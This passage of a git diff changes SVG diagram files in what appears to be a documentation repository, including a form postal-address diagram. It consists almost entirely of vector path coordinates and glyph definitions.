48.6875 225.804688 C 49.425781 225.804688 49.960938 225.714844 50.285156 225.539062 C 50.617188 225.359375 50.785156 225.042969 50.785156 224.59375 C 50.785156 224.1875 50.667969 223.855469 50.429688 223.589844 C 50.195312 223.324219 49.902344 223.132812 49.558594 223.011719 L 44.171875 223.011719 L 44.171875 221.921875 L 51.730469 221.921875 L 51.730469 222.71875 L 50.769531 222.910156 L 50.769531 222.953125 C 51.035156 223.148438 51.261719 223.410156 51.449219 223.738281 C 51.636719 224.0625 51.730469 224.449219 51.730469 224.902344 C 51.730469 225.226562 51.6875 225.511719 51.597656 225.757812 C 51.507812 226.003906 51.355469 226.210938 51.140625 226.378906 C 50.933594 226.546875 50.652344 226.667969 50.296875 226.75 C 49.945312 226.835938 49.492188 226.882812 48.953125 226.882812 L 44.171875 226.882812 M 45.53125 228.433594 C 45.410156 228.628906 45.3125 228.863281 45.234375 229.140625 C 45.152344 229.414062 45.117188 229.703125 45.117188 229.996094 C 45.117188 230.328125 45.195312 230.609375 45.351562 230.839844 C 45.519531 231.074219 45.785156 231.191406 46.148438 231.191406 C 46.453125 231.191406 46.703125 231.121094 46.902344 230.972656 C 47.097656 230.832031 47.273438 230.652344 47.433594 230.441406 C 47.589844 230.222656 47.734375 229.984375 47.863281 229.730469 C 47.988281 229.484375 48.144531 229.25 48.320312 229.039062 C 48.496094 228.820312 48.707031 228.640625 48.953125 228.492188 C 49.199219 228.351562 49.515625 228.285156 49.898438 228.285156 C 50.496094 228.285156 50.953125 228.453125 51.257812 228.800781 C 51.570312 229.15625 51.730469 229.648438 51.730469 230.277344 C 51.730469 230.691406 51.691406 231.046875 51.613281 231.339844 C 51.542969 231.644531 51.449219 231.910156 51.332031 232.136719 L 50.460938 231.859375 C 50.558594 231.660156 50.636719 231.433594 50.699219 231.179688 C 50.757812 230.929688 50.785156 230.679688 50.785156 230.425781 C 50.785156 230.058594 50.710938 229.792969 50.5625 229.628906 C 50.425781 229.457031 50.203125 229.378906 49.898438 229.378906 C 49.652344 229.378906 49.445312 229.445312 49.28125 229.582031 C 49.109375 229.730469 48.957031 229.910156 48.820312 230.117188 C 48.683594 230.328125 48.542969 230.566406 48.394531 230.824219 C 48.253906 231.078125 48.085938 231.3125 47.890625 231.519531 C 47.691406 231.730469 47.457031 231.910156 47.183594 232.050781 C 46.90625 232.199219 46.5625 232.269531 46.148438 232.269531 C 45.882812 232.269531 45.625 232.226562 45.382812 232.136719 C 45.144531 232.050781 44.9375 231.910156 44.761719 231.726562 C 44.585938 231.535156 44.441406 231.304688 44.332031 231.03125 C 44.222656 230.753906 44.171875 230.429688 44.171875 230.054688 C 44.171875 229.613281 44.207031 229.230469 44.289062 228.90625 C 44.378906 228.578125 44.484375 228.304688 44.613281 228.09375 M 51.730469 232.609375 L 51.730469 233.539062 L 52.113281 233.539062 C 52.980469 233.539062 53.605469 233.675781 53.988281 233.941406 C 54.375 234.210938 54.566406 234.679688 54.566406 235.34375 C 54.566406 235.597656 54.550781 235.828125 54.523438 236.035156 C 54.492188 236.25 54.425781 236.472656 54.328125 236.699219 L 53.429688 236.433594 C 53.507812 236.246094 53.554688 236.074219 53.578125 235.917969 C 53.605469 235.769531 53.621094 235.621094 53.621094 235.476562 C 53.621094 235.277344 53.582031 235.121094 53.503906 235.003906 C 53.433594 234.890625 53.324219 234.8125 53.179688 234.75 C 53.03125 234.699219 52.832031 234.667969 52.585938 234.648438 C 52.351562 234.636719 52.0625 234.632812 51.730469 234.632812 L 51.730469 236.199219 L 50.785156 236.199219 L 50.785156 234.632812 L 44.171875 234.632812 L 44.171875 233.539062 L 50.785156 233.539062 L 50.785156 232.609375 M 47.949219 236.714844 C 49.25 236.714844 50.203125 236.945312 50.816406 237.410156 C 51.425781 237.882812 51.730469 238.550781 51.730469 239.417969 C 51.730469 240.339844 51.414062 241.019531 50.785156 241.457031 C 50.164062 241.898438 49.222656 242.121094 47.949219 242.121094 C 46.640625 242.121094 45.679688 241.882812 45.070312 241.410156 C 44.46875 240.9375 44.171875 240.273438 44.171875 239.417969 C 44.171875 238.492188 44.480469 237.808594 45.101562 237.367188 C 45.730469 236.929688 46.679688 236.714844 47.949219 236.714844 M 47.949219 237.851562 C 47.527344 237.851562 47.140625 237.875 46.800781 237.925781 C 46.453125 237.984375 46.152344 238.078125 45.898438 238.207031 C 45.652344 238.332031 45.460938 238.496094 45.324219 238.695312 C 45.183594 238.902344 45.117188 239.140625 45.117188 239.417969 C 45.117188 239.949219 45.335938 240.339844 45.78125 240.597656 C 46.230469 240.863281 46.953125 240.996094 47.949219 240.996094 C 48.363281 240.996094 48.742188 240.96875 49.085938 240.910156 C 49.441406 240.855469 49.742188 240.769531 49.988281 240.644531 C 50.242188 240.515625 50.4375 240.347656 50.578125 240.140625 C 50.714844 239.941406 50.785156 239.703125 50.785156 239.417969 C 50.785156 238.90625 50.558594 238.515625 50.105469 238.25 C 49.652344 237.984375 48.933594 237.851562 47.949219 237.851562 M 51.730469 243.65625 L 51.730469 244.4375 L 50.816406 244.628906 L 50.816406 244.675781 C 51.101562 244.8125 51.320312 244.992188 51.480469 245.21875 C 51.644531 245.445312 51.730469 245.722656 51.730469 246.046875 C 51.730469 246.273438 51.691406 246.535156 51.613281 246.828125 L 50.652344 246.625 C 50.742188 246.359375 50.785156 246.125 50.785156 245.929688 C 50.785156 245.605469 50.691406 245.339844 50.503906 245.132812 C 50.316406 244.933594 50.066406 244.808594 49.753906 244.75 L 44.171875 244.75 L 44.171875 243.65625 M 44.171875 250.980469 L 48.570312 250.980469 C 48.960938 250.980469 49.296875 250.964844 49.574219 250.933594 C 49.859375 250.914062 50.09375 250.859375 50.269531 250.773438 C 50.445312 250.691406 50.570312 250.585938 50.652344 250.449219 C 50.742188 250.308594 50.785156 250.121094 50.785156 249.886719 C 50.785156 249.539062 50.652344 249.25 50.386719 249.015625 C 50.128906 248.777344 49.832031 248.617188 49.5 248.527344 L 44.171875 248.527344 L 44.171875 247.433594 L 51.730469 247.433594 L 51.730469 248.21875 L 50.769531 248.410156 L 50.769531 248.453125 C 51.054688 248.667969 51.289062 248.917969 51.464844 249.207031 C 51.640625 249.503906 51.730469 249.875 51.730469 250.328125 C 51.730469 250.714844 51.644531 251.027344 51.480469 251.273438 C 51.320312 251.519531 51.035156 251.710938 50.625 251.851562 C 50.964844 252.027344 51.234375 252.28125 51.4375 252.617188 C 51.632812 252.960938 51.730469 253.335938 51.730469 253.742188 C 51.730469 254.074219 51.6875 254.359375 51.597656 254.597656 C 51.515625 254.832031 51.367188 255.023438 51.15625 255.171875 C 50.949219 255.320312 50.667969 255.425781 50.3125 255.496094 C 49.964844 255.5625 49.53125 255.601562 49 255.601562 L 44.171875 255.601562 L 44.171875 254.523438 L 48.882812 254.523438 C 49.519531 254.523438 49.996094 254.457031 50.3125 254.332031 C 50.628906 254.203125 50.785156 253.910156 50.785156 253.460938 C 50.785156 253.074219 50.667969 252.769531 50.429688 252.542969 C 50.203125 252.316406 49.894531 252.160156 49.5 252.070312 L 44.171875 252.070312 M 44.835938 261.417969 C 44.628906 261.171875 44.464844 260.859375 44.347656 260.488281 C 44.230469 260.121094 44.171875 259.734375 44.171875 259.320312 C 44.171875 258.839844 44.257812 258.425781 44.4375 258.082031 C 44.613281 257.734375 44.867188 257.449219 45.203125 257.226562 C 45.535156 256.996094 45.933594 256.828125 46.386719 256.722656 C 46.847656 256.613281 47.367188 256.5625 47.949219 256.5625 C 49.179688 256.5625 50.113281 256.796875 50.757812 257.269531 C 51.40625 257.742188 51.730469 258.410156 51.730469 259.277344 C 51.730469 259.5625 51.695312 259.84375 51.628906 260.117188 C 51.570312 260.390625 51.4375 260.640625 51.242188 260.855469 C 51.042969 261.082031 50.769531 261.261719 50.417969 261.402344 C 50.0625 261.539062 49.597656 261.609375 49.027344 261.609375 C 48.871094 261.609375 48.695312 261.597656 48.511719 261.582031 C 48.335938 261.570312 48.148438 261.554688 47.949219 261.535156 L 47.949219 257.699219 C 47.515625 257.699219 47.125 257.730469 46.769531 257.800781 C 46.421875 257.867188 46.128906 257.976562 45.882812 258.125 C 45.636719 258.28125 45.445312 258.480469 45.308594 258.714844 C 45.179688 258.953125 45.117188 259.246094 45.117188 259.601562 C 45.117188 259.875 45.160156 260.148438 45.25 260.414062 C 45.34375 260.679688 45.464844 260.878906 45.601562 261.019531 M 48.894531 260.5625 C 49.546875 260.582031 50.023438 260.472656 50.328125 260.238281 C 50.632812 260.007812 50.785156 259.695312 50.785156 259.292969 C 50.785156 258.828125 50.632812 258.457031 50.328125 258.183594 C 50.023438 257.917969 49.546875 257.761719 48.894531 257.710938 M 51.730469 263.5 L 51.730469 264.28125 L 50.816406 264.476562 L 50.816406 264.519531 C 51.101562 264.65625 51.320312 264.835938 51.480469 265.066406 C 51.644531 265.289062 51.730469 265.566406 51.730469 265.890625 C 51.730469 266.117188 51.691406 266.378906 51.613281 266.675781 L 50.652344 266.46875 C 50.742188 266.203125 50.785156 265.96875 50.785156 265.773438 C 50.785156 265.449219 50.691406 265.183594 50.503906 264.976562 C 50.316406 264.777344 50.066406 264.652344 49.753906 264.59375 L 44.171875 264.59375 L 44.171875 263.5 Z M 51.730469 263.5 "/> +<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M -3.716602 12.183398 L -3.716602 8.896289 L -4.538477 8.896289 L -2.894922 7.25293 L -1.251367 8.896289 L -2.073242 8.896289 L -2.073242 12.183398 L -1.251367 12.183398 L -2.894922 13.826953 L -4.538477 12.183398 Z M -3.716602 12.183398 " transform="matrix(20,0,0,20,106,-126)"/> +<path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 51 42.335938 L 52.558594 42.464844 L 52.558594 42.40625 L 51.203125 41.925781 L 47.066406 39.828125 L 47.066406 39.449219 L 51.203125 37.238281 L 52.558594 36.785156 L 52.558594 36.726562 L 51 36.929688 L 44.273438 36.929688 L 44.273438 35.867188 L 54.527344 35.867188 L 54.527344 36.800781 L 49.75 39.320312 L 48.613281 39.699219 L 48.613281 39.726562 L 49.761719 40.09375 L 54.527344 42.464844 L 54.527344 43.457031 L 44.273438 43.457031 L 44.273438 42.335938 M 48 44.78125 C 49.28125 44.78125 50.222656 45.007812 50.828125 45.464844 C 51.425781 45.933594 51.730469 46.59375 51.730469 47.449219 C 51.730469 48.359375 51.417969 49.027344 50.796875 49.457031 C 50.183594 49.894531 49.253906 50.113281 48 50.113281 C 46.707031 50.113281 45.761719 49.878906 45.160156 49.414062 C 44.566406 48.949219 44.273438 48.292969 44.273438 47.449219 C 44.273438 46.535156 44.578125 45.859375 45.1875 45.421875 C 45.808594 44.992188 46.746094 44.78125 48 44.78125 M 48 45.902344 C 47.582031 45.902344 47.203125 45.925781 46.863281 45.976562 C 46.523438 46.035156 46.226562 46.125 45.976562 46.253906 C 45.730469 46.378906 45.542969 46.539062 45.40625 46.734375 C 45.269531 46.9375 45.203125 47.175781 45.203125 47.449219 C 45.203125 47.972656 45.421875 48.359375 45.859375 48.613281 C 46.304688 48.875 47.015625 49.007812 48 49.007812 C 48.410156 49.007812 48.78125 48.976562 49.121094 48.917969 C 49.472656 48.867188 49.765625 48.78125 50.011719 48.65625 C 50.261719 48.527344 50.453125 48.367188 50.59375 48.160156 C 50.726562 47.964844 50.796875 47.726562 50.796875 47.449219 C 50.796875 46.941406 50.570312 46.558594 50.128906 46.296875 C 49.679688 46.035156 48.96875 45.902344 48 45.902344 M 46.804688 56.332031 C 46.3125 56.332031 45.859375 56.335938 45.453125 56.347656 C 45.050781 56.355469 44.65625 56.390625 44.273438 56.449219 L 44.273438 55.722656 L 45.277344 55.488281 L 45.277344 55.429688 C 44.984375 55.292969 44.742188 55.074219 44.546875 54.773438 C 44.363281 54.472656 44.273438 54.113281 44.273438 53.695312 C 44.273438 52.886719 44.570312 52.289062 45.175781 51.890625 C 45.777344 51.5 46.71875 51.308594 48 51.308594 C 49.222656 51.308594 50.148438 51.542969 50.78125 52.019531 C 51.414062 52.503906 51.730469 53.171875 51.730469 54.015625 C 51.730469 54.308594 51.707031 54.535156 51.671875 54.703125 C 51.640625 54.875 51.585938 55.058594 51.511719 55.253906 L 54.527344 55.253906 L 54.527344 56.332031 M 50.460938 55.253906 C 50.578125 55.117188 50.660156 54.964844 50.710938 54.789062 C 50.769531 54.613281 50.796875 54.382812 50.796875 54.089844 C 50.796875 53.566406 50.566406 53.15625 50.113281 52.867188 C 49.652344 52.574219 48.949219 52.429688 48 52.429688 C 47.570312 52.429688 47.1875 52.449219 46.851562 52.503906 C 46.519531 52.558594 46.226562 52.648438 45.976562 52.765625 C 45.722656 52.878906 45.527344 53.027344 45.394531 53.199219 C 45.265625 53.382812 45.203125 53.613281 45.203125 53.886719 C 45.203125 54.601562 45.605469 55.058594 46.414062 55.253906 M 44.925781 62.625 C 44.722656 62.382812 44.5625 62.074219 44.445312 61.707031 C 44.328125 61.347656 44.273438 60.964844 44.273438 60.558594 C 44.273438 60.078125 44.359375 59.671875 44.535156 59.332031 C 44.707031 58.992188 44.960938 58.710938 45.292969 58.488281 C 45.617188 58.261719 46.007812 58.097656 46.457031 57.992188 C 46.910156 57.882812 47.425781 57.832031 48 57.832031 C 49.214844 57.832031 50.132812 58.066406 50.769531 58.53125 C 51.410156 59 51.730469 59.65625 51.730469 60.511719 C 51.730469 60.792969 51.691406 61.070312 51.628906 61.34375 C 51.570312 61.613281 51.441406 61.855469 51.25 62.070312 C 51.050781 62.292969 50.78125 62.472656 50.433594 62.609375 C 50.082031 62.746094 49.625 62.816406 49.0625 62.816406 C 48.90625 62.816406 48.734375 62.804688 48.554688 62.785156 C 48.378906 62.773438 48.195312 62.761719 48 62.742188 L 48 58.953125 C 47.570312 58.953125 47.183594 58.988281 46.835938 59.054688 C 46.492188 59.121094 46.203125 59.230469 45.960938 59.378906 C 45.71875 59.53125 45.527344 59.726562 45.394531 59.960938 C 45.265625 60.191406 45.203125 60.484375 45.203125 60.832031 C 45.203125 61.101562 45.246094 61.371094 45.335938 61.632812 C 45.429688 61.898438 45.546875 62.09375 45.683594 62.230469 M 48.933594 61.78125 C 49.574219 61.796875 50.042969 61.691406 50.34375 61.460938 C 50.644531 61.234375 50.796875 60.925781 50.796875 60.527344 C 50.796875 60.070312 50.644531 59.703125 50.34375 59.433594 C 50.042969 59.171875 49.574219 59.015625 48.933594 58.96875 M 46.136719 65.828125 C 45.804688 65.828125 45.566406 65.875 45.421875 65.960938 C 45.277344 66.054688 45.203125 66.195312 45.203125 66.367188 C 45.203125 66.574219 45.261719 66.8125 45.378906 67.097656 L 44.535156 67.199219 C 44.453125 67.070312 44.390625 66.894531 44.34375 66.660156 C 44.292969 66.425781 44.273438 66.214844 44.273438 66.035156 C 44.273438 65.65625 44.382812 65.347656 44.605469 65.117188 C 44.839844 64.882812 45.238281 64.765625 45.800781 64.765625 L 54.527344 64.765625 L 54.527344 65.828125 M 53.59375 76.78125 L 53.59375 74.21875 L 44.273438 74.21875 L 44.273438 73.097656 L 53.59375 73.097656 L 53.59375 70.535156 L 54.527344 70.535156 L 54.527344 76.78125 M 51.730469 76.796875 L 51.730469 77.570312 L 50.828125 77.757812 L 50.828125 77.800781 C 51.105469 77.9375 51.324219 78.117188 51.480469 78.339844 C 51.644531 78.5625 51.730469 78.835938 51.730469 79.15625 C 51.730469 79.378906 51.6875 79.636719 51.613281 79.929688 L 50.664062 79.726562 C 50.753906 79.464844 50.796875 79.234375 50.796875 79.039062 C 50.796875 78.71875 50.703125 78.457031 50.519531 78.253906 C 50.335938 78.058594 50.085938 77.933594 49.777344 77.875 L 44.273438 77.875 L 44.273438 76.796875 M 51.175781 80.453125 C 51.351562 80.746094 51.484375 81.09375 51.582031 81.503906 C 51.679688 81.917969 51.730469 82.355469 51.730469 82.8125 C 51.730469 83.226562 51.664062 83.5625 51.539062 83.816406 C 51.421875 84.070312 51.257812 84.269531 51.042969 84.414062 C 50.839844 84.5625 50.601562 84.652344 50.332031 84.691406 C 50.070312 84.738281 49.785156 84.765625 49.484375 84.765625 C 48.902344 84.765625 48.335938 84.75 47.78125 84.722656 C 47.230469 84.699219 46.703125 84.691406 46.207031 84.691406 C 45.832031 84.691406 45.480469 84.699219 45.160156 84.722656 C 44.847656 84.75 44.550781 84.796875 44.273438 84.867188 L 44.273438 84.050781 L 45.203125 83.804688 L 45.203125 83.746094 C 44.949219 83.601562 44.730469 83.382812 44.546875 83.089844 C 44.363281 82.796875 44.273438 82.410156 44.273438 81.925781 C 44.273438 81.390625 44.46875 80.949219 44.867188 80.597656 C 45.265625 80.257812 45.816406 80.089844 46.515625 80.089844 C 46.96875 80.089844 47.347656 80.164062 47.652344 80.308594 C 47.960938 80.453125 48.210938 80.65625 48.410156 80.917969 C 48.601562 81.183594 48.734375 81.492188 48.816406 81.851562 C 48.894531 82.21875 48.933594 82.628906 48.933594 83.074219 C 48.933594 83.171875 48.933594 83.269531 48.933594 83.367188 C 48.933594 83.472656 48.925781 83.578125 48.917969 83.6875 C 49.160156 83.714844 49.375 83.730469 49.574219 83.730469 C 50.019531 83.730469 50.335938 83.644531 50.519531 83.46875 C 50.703125 83.300781 50.796875 82.996094 50.796875 82.550781 C 50.796875 82.265625 50.753906 81.960938 50.664062 81.632812 C 50.585938 81.300781 50.484375 81.027344 50.359375 80.816406 M 47.972656 83.703125 C 47.980469 83.601562 47.984375 83.5 47.984375 83.394531 C 47.992188 83.296875 48 83.199219 48 83.105469 C 48 82.859375 47.976562 82.625 47.925781 82.390625 C 47.886719 82.164062 47.816406 81.960938 47.710938 81.777344 C 47.601562 81.605469 47.453125 81.460938 47.273438 81.355469 C 47.085938 81.246094 46.851562 81.195312 46.574219 81.195312 C 46.136719 81.195312 45.792969 81.289062 45.554688 81.488281 C 45.320312 81.679688 45.203125 81.933594 45.203125 82.246094 C 45.203125 82.660156 45.308594 82.988281 45.523438 83.222656 C 45.734375 83.453125 45.976562 83.613281 46.238281 83.703125 M 44.273438 89.949219 L 48.730469 89.949219 C 49.457031 89.949219 49.980469 89.863281 50.300781 89.6875 C 50.628906 89.511719 50.796875 89.199219 50.796875 88.757812 C 50.796875 88.355469 50.679688 88.027344 50.449219 87.765625 C 50.214844 87.503906 49.925781 87.3125 49.589844 87.199219 L 44.273438 87.199219 L 44.273438 86.121094 L 51.730469 86.121094 L 51.730469 86.90625 L 50.78125 87.09375 L 50.78125 87.140625 C 51.042969 87.332031 51.265625 87.589844 51.453125 87.910156 C 51.632812 88.230469 51.730469 88.613281 51.730469 89.0625 C 51.730469 89.382812 51.6875 89.664062 51.597656 89.90625 C 51.511719 90.148438 51.359375 90.351562 51.148438 90.519531 C 50.941406 90.683594 50.664062 90.800781 50.316406 90.882812 C 49.96875 90.96875 49.523438 91.011719 48.992188 91.011719 L 44.273438 91.011719 M 45.613281 92.542969 C 45.496094 92.734375 45.398438 92.96875 45.320312 93.242188 C 45.242188 93.511719 45.203125 93.796875 45.203125 94.085938 C 45.203125 94.414062 45.28125 94.691406 45.4375 94.917969 C 45.601562 95.148438 45.863281 95.265625 46.222656 95.265625 C 46.523438 95.265625 46.769531 95.195312 46.964844 95.046875 C 47.160156 94.910156 47.335938 94.734375 47.492188 94.523438 C 47.644531 94.308594 47.785156 94.074219 47.914062 93.824219 C 48.035156 93.582031 48.191406 93.351562 48.363281 93.140625 C 48.539062 92.925781 48.746094 92.746094 48.992188 92.601562 C 49.230469 92.460938 49.542969 92.398438 49.921875 92.398438 C 50.511719 92.398438 50.960938 92.566406 51.261719 92.90625 C 51.574219 93.257812 51.730469 93.742188 51.730469 94.363281 C 51.730469 94.773438 51.6875 95.121094 51.613281 95.414062 C 51.542969 95.710938 51.453125 95.972656 51.335938 96.199219 L 50.476562 95.921875 C 50.570312 95.726562 50.652344 95.503906 50.710938 95.253906 C 50.769531 95.007812 50.796875 94.761719 50.796875 94.507812 C 50.796875 94.148438 50.722656 93.886719 50.578125 93.722656 C 50.441406 93.554688 50.222656 93.476562 49.921875 93.476562 C 49.679688 93.476562 49.476562 93.539062 49.3125 93.679688 C 49.144531 93.824219 48.996094 94 48.859375 94.203125 C 48.722656 94.414062 48.582031 94.648438 48.4375 94.902344 C 48.300781 95.152344 48.136719 95.382812 47.941406 95.585938 C 47.746094 95.796875 47.511719 95.972656 47.242188 96.113281 C 46.96875 96.257812 46.632812 96.328125 46.222656 96.328125 C 45.960938 96.328125 45.707031 96.285156 45.464844 96.199219 C 45.234375 96.113281 45.027344 95.972656 44.855469 95.792969 C 44.679688 95.605469 44.539062 95.375 44.433594 95.105469 C 44.324219 94.832031 44.273438 94.511719 44.273438 94.144531 C 44.273438 93.707031 44.308594 93.328125 44.386719 93.007812 C 44.476562 92.6875 44.582031 92.417969 44.707031 92.207031 M 51.730469 96.664062 L 51.730469 97.582031 L 52.109375 97.582031 C 52.960938 97.582031 53.578125 97.714844 53.957031 97.976562 C 54.335938 98.246094 54.527344 98.707031 54.527344 99.359375 C 54.527344 99.609375 54.511719 99.839844 54.480469 100.042969 C 54.453125 100.253906 54.386719 100.472656 54.292969 100.699219 L 53.40625 100.4375 C 53.480469 100.25 53.527344 100.082031 53.550781 99.929688 C 53.578125 99.78125 53.59375 99.636719 53.59375 99.492188 C 53.59375 99.292969 53.554688 99.140625 53.476562 99.023438 C 53.40625 98.914062 53.300781 98.835938 53.15625 98.777344 C 53.011719 98.726562 52.8125 98.691406 52.574219 98.675781 C 52.339844 98.664062 52.058594 98.660156 51.730469 98.660156 L 51.730469 100.203125 L 50.796875 100.203125 L 50.796875 98.660156 L 44.273438 98.660156 L 44.273438 97.582031 L 50.796875 97.582031 L 50.796875 96.664062 M 48 100.714844 C 49.28125 100.714844 50.222656 100.941406 50.828125 101.398438 C 51.425781 101.863281 51.730469 102.523438 51.730469 103.378906 C 51.730469 104.289062 51.417969 104.960938 50.796875 105.390625 C 50.183594 105.828125 49.253906 106.046875 48 106.046875 C 46.707031 106.046875 45.761719 105.8125 45.160156 105.347656 C 44.566406 104.878906 44.273438 104.226562 44.273438 103.378906 C 44.273438 102.464844 44.578125 101.792969 45.1875 101.355469 C 45.808594 100.925781 46.746094 100.714844 48 100.714844 M 48 101.835938 C 47.582031 101.835938 47.203125 101.859375 46.863281 101.910156 C 46.523438 101.96875 46.226562 102.058594 45.976562 102.183594 C 45.730469 102.308594 45.542969 102.46875 45.40625 102.667969 C 45.269531 102.871094 45.203125 103.105469 45.203125 103.378906 C 45.203125 103.902344 45.421875 104.289062 45.859375 104.546875 C 46.304688 104.808594 47.015625 104.9375 48 104.9375 C 48.410156 104.9375 48.78125 104.910156 49.121094 104.851562 C 49.472656 104.800781 49.765625 104.710938 50.011719 104.589844 C 50.261719 104.460938 50.453125 104.296875 50.59375 104.09375 C 50.726562 103.898438 50.796875 103.660156 50.796875 103.378906 C 50.796875 102.875 50.570312 102.492188 50.128906 102.230469 C 49.679688 101.96875 48.96875 101.835938 48 101.835938 M 51.730469 107.558594 L 51.730469 108.332031 L 50.828125 108.519531 L 50.828125 108.566406 C 51.105469 108.699219 51.324219 108.878906 51.480469 109.105469 C 51.644531 109.328125 51.730469 109.597656 51.730469 109.917969 C 51.730469 110.140625 51.6875 110.402344 51.613281 110.691406 L 50.664062 110.488281 C 50.753906 110.226562 50.796875 109.996094 50.796875 109.804688 C 50.796875 109.484375 50.703125 109.21875 50.519531 109.015625 C 50.335938 108.820312 50.085938 108.695312 49.777344 108.636719 L 44.273438 108.636719 L 44.273438 107.558594 M 44.273438 114.785156 L 48.613281 114.785156 C 49 114.785156 49.328125 114.769531 49.601562 114.742188 C 49.882812 114.71875 50.113281 114.667969 50.289062 114.582031 C 50.460938 114.5 50.585938 114.394531 50.664062 114.261719 C 50.753906 114.121094 50.796875 113.941406 50.796875 113.707031 C 50.796875 113.363281 50.664062 113.082031 50.402344 112.847656 C 50.148438 112.613281 49.859375 112.453125 49.53125 112.367188 L 44.273438 112.367188 L 44.273438 111.289062 L 51.730469 111.289062 L 51.730469 112.0625 L 50.78125 112.25 L 50.78125 112.292969 C 51.0625 112.503906 51.292969 112.753906 51.46875 113.035156 C 51.640625 113.328125 51.730469 113.695312 51.730469 114.144531 C 51.730469 114.523438 51.644531 114.832031 51.480469 115.074219 C 51.324219 115.316406 51.042969 115.503906 50.636719 115.644531 C 50.976562 115.820312 51.242188 116.070312 51.4375 116.402344 C 51.632812 116.738281 51.730469 117.109375 51.730469 117.507812 C 51.730469 117.835938 51.6875 118.121094 51.597656 118.351562 C 51.519531 118.585938 51.371094 118.777344 51.160156 118.921875 C 50.957031 119.066406 50.679688 119.171875 50.332031 119.242188 C 49.988281 119.308594 49.558594 119.34375 49.035156 119.34375 L 44.273438 119.34375 L 44.273438 118.28125 L 48.917969 118.28125 C 49.546875 118.28125 50.019531 118.214844 50.332031 118.089844 C 50.640625 117.964844 50.796875 117.675781 50.796875 117.230469 C 50.796875 116.851562 50.679688 116.550781 50.449219 116.328125 C 50.222656 116.101562 49.914062 115.949219 49.53125 115.863281 L 44.273438 115.863281 M 44.925781 125.082031 C 44.722656 124.839844 44.5625 124.53125 44.445312 124.164062 C 44.328125 123.804688 44.273438 123.421875 44.273438 123.015625 C 44.273438 122.539062 44.359375 122.128906 44.535156 121.789062 C 44.707031 121.449219 44.960938 121.167969 45.292969 120.945312 C 45.617188 120.71875 46.007812 120.554688 46.457031 120.449219 C 46.910156 120.339844 47.425781 120.289062 48 120.289062 C 49.214844 120.289062 50.132812 120.523438 50.769531 120.988281 C 51.410156 121.457031 51.730469 122.113281 51.730469 122.96875 C 51.730469 123.25 51.691406 123.527344 51.628906 123.800781 C 51.570312 124.070312 51.441406 124.3125 51.25 124.527344 C 51.050781 124.75 50.78125 124.929688 50.433594 125.066406 C 50.082031 125.203125 49.625 125.273438 49.0625 125.273438 C 48.90625 125.273438 48.734375 125.261719 48.554688 125.242188 C 48.378906 125.230469 48.195312 125.21875 48 125.199219 L 48 121.410156 C 47.570312 121.410156 47.183594 121.445312 46.835938 121.515625 C 46.492188 121.578125 46.203125 121.6875 45.960938 121.835938 C 45.71875 121.988281 45.527344 122.183594 45.394531 122.417969 C 45.265625 122.648438 45.203125 122.941406 45.203125 123.292969 C 45.203125 123.558594 45.246094 123.828125 45.335938 124.09375 C 45.429688 124.355469 45.546875 124.550781 45.683594 124.6875 M 48.933594 124.238281 C 49.574219 124.257812 50.042969 124.152344 50.34375 123.917969 C 50.644531 123.691406 50.796875 123.382812 50.796875 122.984375 C 50.796875 122.527344 50.644531 122.164062 50.34375 121.894531 C 50.042969 121.628906 49.574219 121.472656 48.933594 121.425781 M 51.730469 127.136719 L 51.730469 127.910156 L 50.828125 128.097656 L 50.828125 128.140625 C 51.105469 128.277344 51.324219 128.453125 51.480469 128.679688 C 51.644531 128.902344 51.730469 129.175781 51.730469 129.496094 C 51.730469 129.71875 51.6875 129.976562 51.613281 130.269531 L 50.664062 130.0625 C 50.753906 129.800781 50.796875 129.574219 50.796875 129.378906 C 50.796875 129.058594 50.703125 128.796875 50.519531 128.59375 C 50.335938 128.394531 50.085938 128.273438 49.777344 128.214844 L 44.273438 128.214844 L 44.273438 127.136719 Z M 51.730469 127.136719 "/> +</g> +</svg> diff --git a/_images/form/form-custom-type-postal-address-fragment-names.svg b/_images/form/form-custom-type-postal-address-fragment-names.svg index 9b6092c9808..db9463b8327 100644 --- a/_images/form/form-custom-type-postal-address-fragment-names.svg +++ b/_images/form/form-custom-type-postal-address-fragment-names.svg @@ -1 +1 @@ -<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="650" viewBox="0 0 722 514"><defs><symbol overflow="visible" id="a"><path d="M 6.5625 -3.15625 L 3.265625 -3.15625 L 2.4375 0 L -0.0625 0 L 4 -14.09375 L 5.984375 -14.09375 L 10.0625 0 L 7.421875 0 Z M 3.796875 -5.234375 L 6.125 -5.234375 L 5.3125 -8.5 L 5 -10.703125 L 4.921875 -10.703125 L 4.578125 -8.484375 Z M 3.796875 -5.234375"/></symbol><symbol overflow="visible" id="b"><path d="M 8.046875 -3.515625 C 8.046875 -2.960938 8.050781 -2.40625 8.0625 -1.84375 C 8.070312 -1.28125 8.125 -0.660156 8.21875 0.015625 L 6.546875 0.015625 L 6.21875 -1.140625 L 6.140625 -1.140625 C 5.679688 -0.203125 4.890625 0.265625 3.765625 0.265625 C 2.742188 0.265625 1.941406 -0.132812 1.359375 -0.9375 C 0.785156 -1.738281 0.5 -3.039062 0.5 -4.84375 C 0.5 -6.601562 0.8125 -7.9375 1.4375 -8.84375 C 2.0625 -9.757812 2.992188 -10.21875 4.234375 -10.21875 C 4.554688 -10.21875 4.820312 -10.195312 5.03125 -10.15625 C 5.25 -10.113281 5.457031 -10.046875 5.65625 -9.953125 L 5.65625 -14 L 8.046875 -14 Z M 4.3125 -1.921875 C 4.675781 -1.921875 4.960938 -2.007812 5.171875 -2.1875 C 5.390625 -2.363281 5.550781 -2.628906 5.65625 -2.984375 L 5.65625 -7.703125 C 5.519531 -7.816406 5.367188 -7.898438 5.203125 -7.953125 C 5.035156 -8.015625 4.820312 -8.046875 4.5625 -8.046875 C 4.03125 -8.046875 3.628906 -7.800781 3.359375 -7.3125 C 3.085938 -6.832031 2.953125 -5.984375 2.953125 -4.765625 C 2.953125 -3.835938 3.0625 -3.128906 3.28125 -2.640625 C 3.507812 -2.160156 3.851562 -1.921875 4.3125 -1.921875 Z M 4.3125 -1.921875"/></symbol><symbol overflow="visible" id="c"><path d="M 5.578125 -7.640625 C 5.253906 -7.753906 